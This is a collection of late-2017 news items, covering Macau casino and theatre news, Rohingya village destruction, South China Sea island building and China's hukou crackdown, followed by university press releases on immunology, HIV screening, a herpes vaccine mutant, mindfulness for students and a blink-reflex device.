This was followed by a carnival-themed anniversary party yesterday as a compliment to fellow Golden Lion Team members for their excellence and dedication, the gaming operator said in a statement.

In appreciation for the support of team members and their families, MGM also organized an Employee Family and Friend Day at Learn and Play! teamLab Future Park, offering complimentary access to 600 team members and their families so that they could share quality time at the resorts first interactive and digital art exhibition.

Speaking about MGMs journey over the decade, James J. Murren, chairman and chief executive officer of MGM Resorts International and chairperson and executive director of MGM China Holdings Limited, sent his greetings via video recording.

He said, Ten years ago, MGM took an important step out of the U.S. to Macau. At that time, we recruited thousands of dedicated and talented individuals who have championed our brand and supported us in creating unique offerings to attract tourists to Macau. Today I am so proud that all of you not only delivered our promise, but also exceeded our expectations.

Pansy Ho, co-chairperson & executive director of MGM China Holdings Limited, thanked Golden Lion Team for remaining devoted to delivering quality moments for its guests.

Ten years later today, we are in full swing to prepare for the opening of MGM Cotai and our growing team will continue creating unprecedented art and cultural experiences paired with advanced technology, she said, pledging to continually invest in local talents. LV
Satellite imagery shows that Rohingya villages in Myanmar continued to be destroyed even as Myanmar and Bangladesh signed an agreement last month to return refugees from the ethnic Muslim minority who had fled their country amid violence, Human Rights Watch said yesterday.

The New York-based rights group said buildings were destroyed in 40 villages in northern Rakhine state in October and November, increasing the total to 354 villages that have been partially or completely destroyed since Aug. 25.

More than 630,000 Rohingya have fled from Myanmar into Bangladesh since Aug. 25, when Myanmars army began what it called clearance operations following an attack on police posts by a group of Rohingya insurgents. Refugees arriving in Bangladesh said their homes were set on fire by soldiers and Buddhist mobs, and some reported being shot at by security forces.

In late November, Myanmar and Bangladesh signed an agreement covering the return of Rohingya who fled across their mutual border to escape the violence in Rakhine.

Satellite imagery confirms that dozens of buildings were burned the same week the agreement was signed, Human Rights Watch said in a statement.

The Burmese armys destruction of Rohingya villages within days of signing a refugee repatriation agreement with Bangladesh shows that commitments to safe returns were just a public relations stunt, said Brad Adams, Human Rights Watchs Asia director. The satellite imagery shows what the Burmese army denies: that Rohingya villages continue to be destroyed. Burmese government pledges to ensure the safety of returning Rohingya cannot be taken seriously.

Zaw Htay, Myanmars government spokesman, said, I cannot give comment yet because I have not seen the statement on the satellite images yet.

Sann Win, a border guard police officer in northern Rakhine, said by phone yesterday that there was no burning of any villagers homes in October and November.

In September, Myanmars government said more than 6,800 homes had been destroyed in the wave of violence, with all but about 200 of them belonging to Rohingya villagers. AP
The Sound of Music is slated to kick off its first show tomorrow at The Venetian Macaos Venetian Theater, featuring a cast of 20 performers from Macau and Hong Kong.

The highly acclaimed production comes from the home of West End musical theater  the renowned London Palladium  where it recently celebrated 954 performances.

The musical features many memorable songs including My Favorite Things, DO-RE-MI, Climb Evry Mountain, The Lonely Goatherd, Sixteen Going on Seventeen, and the title song Sound of Music.

The Sound of Music is inspired by a true story of Maria, the fun-loving governess who changes the lives of the widowed Captain von Trapp and his seven children by re-introducing them to music. The story culminates in the familys escape across the Austrian mountains as tensions rise prior to the outbreak of World War II.

Featuring live music, sets, costume design and choreography and a stage that transforms from Nonnberg Abbey into the von Trapp mansion, to a backdrop of the picturesque Austrian hills and meadows, the musical will be at the theatre until January 7.

The main leads playing Maria and Captain von Trapp are in Macau for the first time, along with seven children from Macau, and 13 cast members who originate from Hong Kong.

The actor who plays Captain von Trapp, Nicholas Maude, was in the musicals original show in London back in 2006, and has performed many of the male roles in the play.

Its lovely to be in [it] again, he told the press.

Every time we do the show its always a joy because were working with different people. Its lovely because the entire [production] cast is from South Africa, he added.

Meanwhile Carmen Pretorius, who plays Maria commented, Local kids are very talented. So were really excited to see their characters grow and get to know them a bit better.

The two actors noted that there are certain scenes to which they feel particularly attached, including the scene where the captain sings for the first time, followed by all the children hugging him.

For me that was the best part of the show. Its a lovely emotional moment. The children are always genuine in their emotions [] and they give everything, he said.

Meanwhile, the children who play the von Trapp children noted that although the original story took place more than 60 years ago, the musicals moral lessons will remain timeless.

The themes of family friendship, love, compassion, within The Sound of Music, even if its 60 years old, they are timeless, said one.

Everything we learned in the show is something we take through in our normal lives, and outside of the house and school. It reminds you to set priorities in life, said another.
As China continues to transform disputed territory in the South China Sea into features capable of sustaining air and naval bases, Vietnam is also upgrading areas it occupies.

Images taken by DigitalGlobe satellites in September show new facilities including a possible dry dock on West London Reef in the Spratly Island chain, around 680 kilometers southeast of Ho Chi Minh City, that could allow boats to stop for maintenance and patrol for longer periods.

While the work is vastly outweighed by what China is doing it suggests Hanoi wants to hold its ground over the contested waterway, even if it risks upsetting Beijing. In August, Philippine President Rodrigo Duterte ordered a construction halt on a 500-square-meter sand bar in the area after a protest from China.

Maintaining and even consolidating a military and non-military presence has been consistently one of the key approaches for Vietnams strategy for the South China Sea, said Alexander Vuving, a political analyst at the Asia-Pacific Center for Security Studies in Hawaii.

Vietnam has reclaimed about 120 acres across 10 islets since 2014, according to the Washington DC-based Asia Maritime Transparency Initiative, extending runways and adding radar and patrol capabilities. By comparison, China has reclaimed more than 3,200 acres on seven features in the Spratlys, building ports, lighthouses and runways it says are mostly for civilian purposes or defense.

Chinas claims to more than 80 percent of the South China Sea, which carries around USD3.4 trillion worth of global trade a year, overlap with the Philippines, Brunei, Malaysia, Taiwan, and Vietnam. In the past year, Hanoi has become the most vocal defender against Chinas assertions.

Its latest upgrade to West London Reef comes after China reportedly pressured Vietnam to halt drilling in a contested area leased to Spains Repsol SA., said Bill Hayton, an associate fellow at Chatham House.

Vietnams response to the Repsol incident has been a modest expansion on its islands, said Hayton, who wrote The South China Sea: The Struggle for Power in Asia. Many of the decisions to expand the island facilities would have been taken before the drilling episode, but that is certainly giving some impetus.

Another potential source of friction between Hanoi and Beijing is renewed talks over a Code of Conduct for the South China Sea between China and the 10-member Association of Southeast Asian Nations.

Despite endorsing a one-page framework in August, which calls on parties to commit to the principles of the United Nations Convention on the Law of the Sea, China wants the code to be voluntary, whereas Vietnam wants it to be legally binding.

Vietnam would sign a legally binding Asean-China code of conduct if it brings it and other countries benefit, according to Rear Admiral Le Ke Lam, a former Vietnam Naval Academy director. But China would never sign it.

Vietnams Foreign Ministry did not respond to emailed questions about the land reclamation or whether the Code of Conduct should be legally binding. Le said Vietnams South China Sea infrastructure program was confined to minor reclamation on existing islands.

Vietnam suffered a setback last year after the new Philippine president chose not to pursue further an international court ruling that dismissed Beijings South China Sea claims. The case, brought by Dutertes predecessor Benigno Aquino, was supported by Vietnam.

In the absence of support from the Philippines, Vietnam has sought to improve ties with Indonesia, which has shown signs of pushing back against Chinese encroachment near the Natuna Islands that Beijing claims are part of its traditional fishing grounds.

In June 2016, President Joko Widodo held a cabinet meeting on a warship near the islands, and Indonesia later renamed the northern reaches of its exclusive economic zone in the South China Sea as the North Natuna Sea. David Tweed, Bloomberg
U.S.-RUSSIA Russian President Vladimir Putin telephoned U.S. President Donald Trump to thank him for a CIA tip that helped thwart a series of bombings in St. Petersburg, the Kremlin and the White House said. More on p15

PHILIPPINES A slow-moving storm has left more than 30 people dead and several others missing mostly due to landslides and floods and stranded thousands of holiday travelers in the central Philippines. More on p13

MYANMARs presidential spokesman said yesterday that the president authorized the arrest last week of two Reuters reporters for allegedly violating the state secrets act.

TURKEYs president has slammed a U.S.-backed Syrian Kurdish militant group and said hell clear his countrys border with Syria of terrorists.

SOUTH AFRICA Counting of votes for the next president of the ruling African National Congress party has begun. More than 4,700 ANC delegates have gathered on the outskirts of Johannesburg to vote for a new party leader, who is likely to become South Africas next president.

CENTRAL EUROPE A planned gas pipeline to link Russia with Germany that bypasses Ukraine and Poland threatens central Europes security, Polands new prime minister said yesterday.

AUSTRIA Sebastian Kurz (pictured, left) was sworn in yesterday as Austrias new chancellor, making him Europes youngest leader at age 31, after his Austrian Peoples Party formed a coalition with the nationalist Freedom Party that is expected to move the countrys politics to the right.

FRANCE The first group of African refugees benefiting from a new initiative bringing those deemed to be especially vulnerable directly to Europe arrived in France yesterday.

HONDURAS President Juan Orlando Hernandez (pictured) has been declared the winner of Honduras disputed election, but that did little to quell unrest from weeks of uncertainty as challenger Salvador Nasralla called for more protests yesterday.

CANADA Toronto homicide detectives have taken over the investigation of the deaths of billionaire Barry Sherman and his wife after autopsies showed they died from ligature neck compression.
Over the past few weeks, people here in Beijing have been riveted by the so-called migrant clean- out  the governments attempt to evict tens of thousands of migrant workers from their homes in the poorer parts of the city. Whats not being discussed, however, is how the crackdown could threaten one of the governments other main priorities: managing debt.

In China, mobility is legally restricted according to a household registration system, called the hukou. Chinese citizens receive an urban or rural hukou which officially identifies them as residents of a specific area and which allows them to live and work only in that area. Few if any of the migrant workers affected by the current sweep possess a Beijing hukou.

Previously, this didnt really matter. For the past three decades, during the period of Chinas furious economic growth, the countrys fastest-growing regions were desperate for cheap labor to fill factories and build infrastructure. With local government officials graded in large part on their ability to generate rapid growth, they largely ignored hukou restrictions and made migration into their cities easy. Hundreds of millions of workers traveled from their hukou areas to wherever there were jobs, in particular big cities such as Beijing, Shenzhen and Shanghai.

The attitudes of local authorities may be changing now as the economy slows and officials become more concerned about unemployment and tensions over access to schools and other social services. One of the easiest tools the authorities have to manage both problems is to enforce the hukou rules that are already on the books. In Beijing, the campaign is broadly popular among legal residents, who complain about overcrowding and rising rents.

If it spreads, however, the crackdown could carry a significant macroeconomic cost. Enforcing the residency system nationally could severely limit labor mobility in China. This would in turn constrain monetary policy, which is critical to minimizing the cost to China of whats likely to be a very difficult adjustment after decades of deeply unbalanced growth.

How exactly would this happen? Its important to remember that while China is a huge economy with a great deal of variety across different regions, it can nonetheless operate effectively with a single currency because it has most of the characteristics of an optimum currency area. In the 1960s, Columbia Universitys Robert Mundell argued that four conditions were required to establish such an area. They include high levels of labor mobility, high levels of capital mobility, a system of transfers that shares risks across the region, and coordinated business cycles.

If labor mobility in China slows dramatically, growth rates in different parts of the country would diverge even more than they have already, rather than converge.

For this reason, authorities should monitor labor practices carefully and take steps to prevent local officials from heavily enforcing the hukou. This may prove difficult, in which case they should consider alternative policies to reinforce monetary integration. They could strengthen fiscal policies that transfer income from faster-growing provinces to slower-growing ones, for example, or manage fiscal spending so that business cycles are more closely coordinated across regions.

One thing we know from the history of developing countries is how suddenly virtuous cycles can become vicious cycles. In China, rapid growth historically encouraged local officials to ignore hukou restrictions. This caused a sharp increase in labor mobility, which made monetary policy more effective and, in turn, encouraged even more rapid growth.

This self-reinforcing process could just as easily reverse itself, with slow growth encouraging officials to restrict labor mobility, weakening the transmission of monetary policy and slowing growth even further. Officials might want to think twice before making their own jobs harder. Michael Pettis, Bloomberg

[Abridged]
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The study was led by TSRI Graduate Student Mei Lan Chen and biologist Mark Sundrud Credit: Jeremy Pyle / The Scripps Research Institute

This holiday season, millions of people will gather at airports ready to board planes for destinations around the world. Depending on the environment at their destination, their suitcases may be filled with sunscreen and bathing suits, or heavy parkas and mittens.

Now, a new study from the lab of biologist Mark Sundrud, Ph.D., on the Florida campus of The Scripps Research Institute (TSRI), provides evidence that circulating immune cells may similarly adapt when they enter different tissues, which are like different environments in our bodies. Moreover, the researchers found that inability to adapt may lead to disease.

The scientists hope understanding how immune cells adapt as they enter different tissues will spur the design of better, more specific, medicines.

"We need therapeutic strategies that specifically target chronic inflammation in the gut, skin or other tissues," Sundrud says, "instead of just generally suppressing the entire immune system."

The research was published Dec. 19, 2017, in the journal Immunity.

Sundrud's laboratory is working to understand the characteristics and functions of TH17 cells, a subset of immune cells that circulate throughout the body. These cells protect many types of tissues from infection, but they can also promote chronic inflammatory conditions like Crohn's disease, which specifically targets the intestinal tract.

Knowing TH17 cells need to function in a variety of tissue environments throughout the body, Sundrud's team wondered if and how these cells might use different tools to behave normally in one environmentor tissuethan they'd use in another. Perhaps activating one gene could be useful in the lungs, while activating another would be useful in the gut, the same way you might bring a bathing suit on a trip to Florida and a jacket if you're headed to Canada.

This study built on previous research from the Sundrud lab, which showed that when TH17 cells entered the intestine in human tissue samples, they increased the expression of a gene called MDR1.

But MDR1 is only known to transport chemotherapeutic drugs out of tumor cells, so why would it be expressed in immune cells in the gut?

The new study suggests that MDR1 is responsible for protecting TH17 cells in the gut from bile acidsdetergent-like molecules produced by the liver that break down fats. Normally, the liver secretes bile acids after we eat to aid digestion. As food moves through the digestive tract, these acids are reabsorbed when they reach the ileumthe final portion of the small intestineand the site of ileal Crohn's disease, the most common form of Crohn's.

"T cells only see high levels of bile acids in the ileum. They know this, and they adapt once they get there," says Sundrud.

This discovery led the researchers to identify a mechanism where ileal Crohn's disease appears to be induced by bile acids when T cell adaptation does not occur the way it should.

The team used a genetically modified mouse model to observe the expression and function of MDR1 in mice. They found that the gene's expression increased when the cells entered the ileum. But, in mice where the gene couldn't be activated in the gut, TH17 cells that were exposed to bile acids suffered severe oxidative stress. This stress caused the TH17 cells to become overactive, leading to Crohn's disease-like intestinal inflammation in mice.

Using bile acid sequestrants, an FDA-approved class of drugs used in transplant patients that absorb bile acids like a sponge, scientists were able to restore normal T cell function in the ileum and attenuate Crohn's disease in mice.

To establish the relevance of their findings, the team tested blood samples from healthy humans, as well as those with a variety of inflammatory bowel diseases, including Crohn's. They found a subset of patients with ileal Crohn's disease had severely impaired MDR1 expression.

Not only does this suggest that the cause of Crohn's disease in these patients may be oxidative stress due to dysfunctional MDR1, but that for the subset of patients with this dysfunction, bile acid sequestrants may be an effective treatment. Together with his collaborators, Sundrud hopes to fund a clinical study to test exactly that.
By India Today Web Desk: Ocean's 8, the sequel to Ocean's 11, has created buzz ever since it was announced, owing to its all-female cast.

The film's impressive cast has Sandra Bullock, Cate Blanchett, Rihanna, Mindy Kaling, Helena Bonham Carter, Anne Hathaway, Sarah Paulson and Awkwafina in the lead roles. The first poster released a couple of days back. With their sunglasses, coats, and deadly looks, these are some women you don't want to mess with.

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A small teaser of the film has hit the web. Cate Blanchett asks Sandra Bullock, why she wants to pull off a heist. After a montage of clips that include thieving, disguises, and alcohol, Sandra gives her the answer. "It's what I'm good at."

The Ocean's Eleven sequel or rather spinoff about an all-female crew of crooks attempting a heist at New York's annual mela, will not arrive in theatres until June 2018.

Filmmaker Gary Ross, who directed the first Hunger Games Film, has taken charge of Oceans 8. The film will also have supporting roles for Matt Damon and Carl Reiner, reprising their Ocean's 11 roles.

Ocean's Eleven (2001), is a 2001 American heist film, starring George Clooney, Brad Pitt, Matt Damon, Don Cheadle, Any Garcia and Julia Roberts. The film's success spawned two sequels, Ocean's Twelve and Ocean's Thirteen.

ALSO WATCH: George Clooney and Sandra Bullock spotted at Gravity's premiere in New York

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A new study suggests that the most beneficial age for a one-time screening HIV test of the general population would be age 25. The report - led by researchers at Massachusetts General Hospital (MGH) working with the U.S. Centers for Disease Control and Prevention (CDC) and the Massachusetts Department of Public Health - will be published in the Journal of Adolescent Health and has been issued online.

"The CDC currently recommends that every American be tested for HIV infection at least once between ages 13 and 64," says Anne Neilan, MD, MPH, of the MGH Division of Infectious Diseases and the Medical Practice Evaluation Center, who led the study. "We began by thinking that, if people are screened only once, it makes sense to get screened after the age when the most new HIV infections occur. We also thought that, if we accounted for all of the HIV testing that is already taking place in the U.S., an additional screening test for youth without known risk factors would be most useful at some point after age 18."

HIV screening refers to testing of individuals who do not have symptoms of the infection. Many youth may be at higher risk than they, their parents or their health care providers believe, so offering a one-time screening HIV test could identify infections that would otherwise be missed

The study used CDC data on new HIV diagnoses in 2013 and the stage of disease at the time of diagnosis to compare the probable results of implementing a one-time HIV screening test at various ages between 13 and 30. Using a well-published computer simulation model developed by members of the research team, the analysis revealed that adding a single HIV screening test at age 25 would most improve rates of HIV diagnosis and overall health outcomes among young adults while remaining cost effective. However, the results do not apply to youth at high risk, such as gay and bisexual males, who should be tested more frequently. Other populations at high risk for HIV infection include people who inject drugs and their sex partners, people who exchange sex for money or drugs, and sex partners of HIV-infected people.

"It can be hard to talk to teens about their risk for HIV," says study co-author Commander Richard Dunville, MPH, epidemiologist at CDC. "However, it is important that parents, health care providers and teens themselves have more information to decide if and when HIV screening is appropriate. Studies like this one and data about high-risk youth can help guide these informed decisions."

Andrea Ciaranello, MD, MPH, of the MGH Division of Infectious Disease, senior author of the study, says, "For at-risk groups, HIV screening should occur much more frequently than once in a lifetime, since a single screen will only capture a very small proportion of the population with HIV. However, for young people who become infected by age 25, the gains in life expectancy and improvements in health outcomes, including viral suppression, from that one-time screening test would be substantial."

From 2009 to 2013, HIV diagnoses among those aged 13 to 29 were highest in ages 22 to 25. "There is often a delay between when someone becomes infected with HIV and when they are diagnosed, so we cannot be certain at what age most infections are occurring," says Dunville. "Still, this study leads us to doubt that screening teens 18 and younger without risk factors would be a good use of limited resources."

The authors also found that the benefits of a one-time HIV screening test were markedly lower if youth found to be living with HIV did not remain in care and on antiretroviral medications. "Interventions to support linkage to care and retention in care are critical," says Ciaranello. "Our study underscores the value of ongoing research supported by the National Institutes of Health to examine the most effective ways to improve health outcomes for youth with HIV."

Neilan adds, "About half of all young people ages 13 to 24 with HIV have no idea they are infected, but fewer than 15 percent of adults with HIV are unaware. HIV screening is an important component of addressing this disparity. Our results indicate that focusing screening on teens 18 or younger without risk factors would be a less efficient use of a one-time screen than screening at a later age."

More information: Anne M. Neilan et al, The Optimal Age for Screening Adolescents and Young Adults Without Identified Risk Factors for HIV, Journal of Adolescent Health (2017). Journal information: Journal of Adolescent Health Anne M. Neilan et al, The Optimal Age for Screening Adolescents and Young Adults Without Identified Risk Factors for HIV,(2017). DOI: 10.1016/j.jadohealth.2017.08.028
Axons, like those pictured above, are the so-called highways of the nervous system, which the herpes virus traffics to establish lifelong infection in a host. Credit: Laura Ruhge

A Northwestern Medicine study published in PLOS Pathogens describes a newly-designed mutant herpes virus called R2 that provides a strategy for the development of novel herpes virus vaccines.

Herpes simplex viruses, known for causing cold sores and genital herpes, are two members of the alpha herpes virus family, which also includes the varicella-zoster virus, the cause of chickenpox. These viruses share a unique property: the ability to routinely and robustly infect the nervous system, establishing lifelong infection.

When a herpes virus initially enters a skin, or epithelial, cell, it begins shedding its outer layers, releasing viral proteins to perform their functions, but a small subset of viral proteins remains bound to the DNA-filled capsid, a protein shell that holds the DNA that will turn the cell into a herpes virus factory.

One of the proteins that escorts the DNA-filled capsid is the focus of the current study. Collaborators at Tufts University found that this protein, called protein UL37, has three distinct regions conserved in alpha herpes viruses, and the scientists discovered that mutating the second region, termed R2, exhibited an exciting trait.

Lead author Alexsia Richards, Ph.D., a former postdoctoral fellow in the laboratory of senior author Gregory Smith, Ph.D., professor of Microbiology-Immunology, explained that although the R2 mutant successfully infected epithelial cells, the virus failed to infect neurons.

The scientists discovered that R2 could enter neurons but once inside, it simply bounces back and forth, unable to travel the long distances needed to reach the nucleus of a neuronal cell where latentor lifelonginfection is established.

To further understand these results, the scientists turned to mouse models. Using another alpha herpes virus that normally infects pigs, the scientists saw that mice infected with the unmodified version of the virus died rapidly, but all of the mice infected with the R2 mutant survived.

These photos show a fluorescent herpes virus spreading in the tissues of a mouse. The virus is found in the mouse eye after infection of the cornea (top left) and proficiently invades the nervous system (top right). When mice are infected with the R2 mutant, the virus spreads in the mouse eye (bottom left) but is not detected in the nervous system (bottom right). Credit: Northwestern University

Next, the scientists investigated whether the R2 mutant can vaccinate mice. Collaborators at the University of Nebraska-Lincoln exposed mice to the R2 mutant, waited several days, and then infected the mice with 10,000 times the lethal dose normally required to kill 50 percent of the mice. They found that 75 percent of the vaccinated mice survived the lethal experiment with no signs of infection.

"We now have a virus with this unique property that had never been seen before: a virus that can propagate just like a wild-type herpes virus but specifically can't travel into the nerves and go latent in the nervous system," Smith said.

Furthermore, because mutating R2 produces an effect both in human and animal herpes viruses, the authors believe they've created a tool for a new generation of herpes virus vaccines.

"It's basically a tool to make any vaccine strain you want," Richards said.

The authors note that the R2 mutation findings have the potential to improve currently approved vaccines, like the chickenpox virus vaccine.

Future research will focus on further developing the R2 mutant as a master herpes virus vaccine.

"We are amazed by the efficacy of this vaccine, but this gets to the point where basically you need to partner with a pharmaceutical company. The hope would be that once the paper is out, and people start seeing the efficacy of this approach, they'll take interest and there'll be people that want to try and push this forward with our help," Smith said.

More information: Alexsia L. Richards et al. The pUL37 tegument protein guides alpha-herpesvirus retrograde axonal transport to promote neuroinvasion, PLOS Pathogens (2017). Journal information: PLoS Pathogens Alexsia L. Richards et al. The pUL37 tegument protein guides alpha-herpesvirus retrograde axonal transport to promote neuroinvasion,(2017). DOI: 10.1371/journal.ppat.1006741
Credit: CC0 Public Domain

Mindfulness training can help support students at risk of mental health problems, concludes a randomised controlled trial carried out by researchers at the University of Cambridge.

While the prevalence of anxiety and depression among first year undergraduates is lower than the general population, it increases to overtake this during their second year. The number of students accessing counselling services in the UK grew by 50% from 2010 to 2015, surpassing the growth in the number of students during the same period. There is little consensus as to whether students are suffering more mental disorders, are less resilient than in the past or whether there is less stigma attached to accessing support. Regardless, mental health support services for students are becoming stretched.

Recent years have seen increasing interest in mindfulness, a means of training attention for the purpose of mental wellbeing based on the practice of meditation. There is evidence that mindfulness training can improve symptoms of common mental health issues such as anxiety and depression. However, there is little robust evidence on the effectiveness of mindfulness training in preventing such problems in university students.

"Given the increasing demands on student mental health services, we wanted to see whether mindfulness could help students develop preventative coping strategies," says Geraldine Dufour Head of the University of Cambridge's Counselling Service. Dufour is one of the authors of a study that set out to test the effectiveness of mindfulness - the results are published today in The Lancet Public Health.

In total, 616 students took part in the study and were randomised across two groups. Both groups were offered access to comprehensive centralised support at the University of Cambridge Counselling Service in addition to support available from the university and its colleges, and from health services including the National Health Service.

Half of the cohort (309 students) were also offered the Mindfulness Skills for Students course. This consisted of eight, weekly, face-to-face, group-based sessions based on the course book Mindfulness: A Practical Guide to Finding Peace in a Frantic World, adapted for university students. Students were encouraged to also practice at home, starting at eight minute meditations, and increasing to about 15-25 minutes per day, as well as other mindfulness practices such as a mindful walking and mindful eating. Students in the other half of the cohort were offered their mindfulness training the following year.

The researchers assessed the impact of the mindfulness training on stress ('psychological distress') during the main, annual examination period in May and June 2016, the most stressful weeks for most students. They measured this using the CORE-OM, a generic assessment used in many counselling services.

The mindfulness course led to lower distress scores after the course and during the exam term compared with students who only received the usual support. Mindfulness participants were a third less likely than other participants to have scores above a threshold commonly seen as meriting mental health support. Distress scores for the mindfulness group during exam time fell below their baselines levels (as measured at the start of the study, before exam time), whereas the students who received the standard support became increasingly stressed as the academic year progressed.

The researchers also looked at other measures, such as self-reported wellbeing. They found that mindfulness training improved wellbeing during the exam period when compared with the usual support.

"This is, to the best of our knowledge, the most robust study to date to assess mindfulness training for students, and backs up previous studies that suggest it can improve mental health and wellbeing during stressful periods," says Dr Julieta Galante from the Department of Psychiatry at Cambridge, who led the study.

"Students who had been practising mindfulness had distress scores lower than their baseline levels even during exam time, which suggests that mindfulness helps build resilience against stress."

Professor Peter Jones, also from the Department of Psychiatry, adds: "The evidence is mounting that mindfulness training can help people cope with accumulative stress. While these benefits may be similar to some other preventative methods, mindfulness could be a useful addition to the interventions already delivered by university counselling services. It appears to be popular, feasible, acceptable and without stigma."

The team also looked at whether mindfulness had any effect of examination results; however, their findings proved inconclusive.

Dr Julieta Galante is a research associate in the Department of Psychiatry. Her interests lie in mental health promotion, particularly the effects of meditation on mental health. She hopes to contribute to the growing number of approaches to preventing mental health problems that do not rely on medication.

"What fascinates me is the idea that you could potentially train your mind to improve your wellbeing and develop yourself as a person," she says. "It's not the academic type of mind-training -meditation training is more like embarking on a deep inner-exploration."

Galante's research involves studying large numbers of people in real-world settings, such as busy students revising for their exams. It's a very complex research field, she says: there are many factors, social, psychological and biological, that contribute to an individual's mental health.

"Our projects are most successful (and enjoyable) when we collaborate with people outside the academic sphere, in this particular project with the Student Counselling Service, University authorities, and the students themselves."

The mindfulness trial was 'blinded', meaning that the researchers did not know which students (and hence which data) belonged to which group. The 'unblinding' of the results - when they found out whether their trial was successful - was nerve-wracking, she says. "The team statistician didn't know which group had received mindfulness training and which group was the control. He showed his results to the rest of the team and we could all see that there was a clear difference between the groups, but we didn't know whether this meant really good or really bad news for mindfulness training. When the results were then unveiled, we all laughed with relief!"

The research was supported by the University of Cambridge and the National Institute for Health (NIHR) Collaboration for Leadership in Applied Health Research and Care East of England, hosted by Cambridgeshire and Peterborough NHS Foundation Trust.

More information: Galante, J et al. Effectiveness of providing university students with a mindfulness-based intervention to increase resilience to stress: a pragmatic randomised controlled trial. Lancet Public Health; 19 December 2017; Galante, J et al. Effectiveness of providing university students with a mindfulness-based intervention to increase resilience to stress: a pragmatic randomised controlled trial.; 19 December 2017; DOI: 10.1016/S2468-2667(17)30231-1
Researchers have found fully developed dendritic cells very early in human development. Credit: Dr Benoit Malleret, SIgN

The fetal immune system is fully developed and functional from as early as 16 weeks gestation, but has a mechanism to keep it suppressed until after birth, according to an A*STAR-led study. Their findings could shed light on the immunological mechanisms underlying fetal-maternal health problems such as pre-eclampsia.

"People thought that the fetal immune system was defective because it was not mature, but we've discovered that it's highly dynamic, highly functional, and in fact represents another specialization," says Florent Ginhoux, from the Singapore Immunology Network at A*STAR, who co-led the study with Jerry Kok Yen Chan from the KK Women's and Children's Hospital, Singapore.

Ginhoux and co-authors analyzed fetal tissuesdonated under strict ethical guidelinesfor dendritic cells, which are immune cells that sample the environment for potential threats and pass that information to the T cells and B cells to ward off those threats.

The researchers discovered that not only do dendritic cells exist as early as 12 weeks gestation, but, when stimulated by molecules that interact with the toll-like receptors found on the surface of the cells, mimicking the interaction with a bacterial or viral attack, they behave almost exactly the same as adult cells.

"We found that the cells in the tissue were able to migrate to the lymph nodes very early, which means they were able to talk to T cells, so everything looks similar to what we find in adults," Ginhoux says.

But this posed further questions: if a fetal immune system responded to threats in exactly the same way as an adult immune system, the resulting inflammation could theoretically cause harm to the developing fetus.

The research team compared genes from fetal and adult dendritic cells, and found one very significant difference; fetal dendritic cells over-express an enzyme called arginase-2, which is known to block the T cell secretion of a key inflammatory signaling molecule called TNF-alpha during inflammation.

They tested this by co-culturing adult and fetal dendritic cells with T cells, and showed that only the adult dendritic cells triggered production of large amounts of TNF-alpha from the T cells, while fetal dendritic cells inhibited it through release of arginase-2.

The results could help our understanding of pregnancy conditions such as pre-eclampsia and gestational diabetes, which Ginhoux suggests could be the result of a disruption in this careful balance of immune activation and tolerance in the fetus.

More information: Naomi McGovern et al. Human fetal dendritic cells promote prenatal T-cell immune suppression through arginase-2, Nature (2017). Journal information: Nature Naomi McGovern et al. Human fetal dendritic cells promote prenatal T-cell immune suppression through arginase-2,(2017). DOI: 10.1038/nature22795
The positions of the right (red) and left (blue) eyelids during a stimulated blink are tracked over time using image processing. The technique produces rapid, non-invasive, and objective measurements of blink parameters, making it a useful tool for assessing neurological function. Credit: Reproduced with permission from Tsai NT, et al, IEEE Journal of Translational Engineering in Health and Medicine, Epub Dec. 12, 2017. doi: 10.1109/JTEHM.2017.2782669.

A novel technology developed by the Zucker Institute for Applied Neurosciences at the Medical University of South Carolina was able to measure the blink response comparably to electromyography in a validation study of ten healthy college students, according to an article published online on Dec. 12, 2017 by the IEEE Journal of Translational Engineering in Health and Medicine. The blink response can be an important indicator of neurological status.

The blink reflex has been shown to be sensitive to a number of neurological insults, including traumatic brain injury, Parkinson's disease and Huntington's disease, suggesting that it could be a useful tool for neurological assessment. Although electromyography (EMG)-derived time metrics were used to analyze the blink reflex as early as the 1950s, quantitative assessment of the blink response was never adopted widely in clinical practice, in part because existing technology was somewhat cumbersome and uncomfortable. Moreover, EMG is a highly sensitive technology requiring strict ambient parameters and was not easily performed outside the health care setting, limiting the applications of the blink reflex as a diagnostic indicator of neurological health. Advances in video and computer technologyincluding improved digital image capture, higher frame speeds and higher processing speedshave now put portable, noninvasive, quantitative assessment of the blink within reach.

The Blink Reflexometer, a portable device developed by the Zucker Institute for Applied Neurosciences at the Medical University of South Carolina that has since been licensed to BLINKtbi (Charleston, SC), uses high-speed video to capture and quantitatively analyze a series of blinks that it stimulates with puffs of air. The device analyzes the recorded blinks based on data acquired from decades of blink reflex research to determine if the patient has experienced neurological insult.

In a validation study in ten healthy college students, the results of which were reported in an article published online December 12, 2017 by the IEEE Journal of Translational Engineering in Health and Medicine, a team of investigators at the Medical University of South Carolina and The Citadel obtained blink measurements for ten healthy college students using the Blink Reflexometer and compared them to published measurements obtained with EMG. Three parameters were measured: latency (time between stimulus to first eyelid movement), differential latency (difference in start time between eyelids) and duration (time from start of eyelid movement to eyelid open). Latency and duration measurements obtained with the Blink Reflexometer were in line with published results; only differential latency fell outside of published ranges. These findings suggest that the Blink Reflexometer can provide quantitative measurements of the blink that are on par with those obtained via EMG.

"We are excited to be able to take something that had been qualitative and make it quantitative and objective," says lead author Nancey Trevanian Tsai, M.D. "We talk about metrics all the time in medicine but when you are actually able to provide quantitative, objective data, it's a game changer. It's analogous to the difference between saying someone is feverish to measuring the patient's temperature, an objective measurement, with a thermometer."

This study was based on a small number of young, healthy patients, so larger studies in participants that better represent the general populace will be required. More studies will also be required to verify the usefulness of the blink reflex and of this novel device for neurological assessment in each area of clinical need. Although the Blink Reflexometer can measure changes in the blink reflex, it does not provide information on the underlying causes of those changes.

If the findings of those studies are promising, the device could make it possible to include the blink reflex as a metric or vital sign in medical examination. Because it is portable, it could be taken into the field for on-site neurological assessments. Potential uses are field-side assessment of athletes for concussion or field sobriety tests for marijuana intoxication.

More information: Nancey Trevanian Tsai et al, Development of a Non-Invasive Blink Reflexometer, IEEE Journal of Translational Engineering in Health and Medicine (2017). Nancey Trevanian Tsai et al, Development of a Non-Invasive Blink Reflexometer,(2017). DOI: 10.1109/JTEHM.2017.2782669
Peter Rotwein, M.D., was recently spotlighted by the American Society for Biochemistry and Molecular Biology (ASBMB) for a study he conducted on insulin-like growth factors (IGFs), a family of proteins that are crucial in early human growth and development. IGF mutations have been tied to dire health problems, like growth failure, intellectual deficiencies, and other developmental abnormalities. Credit: Texas Tech University Health Sciences Center El Paso

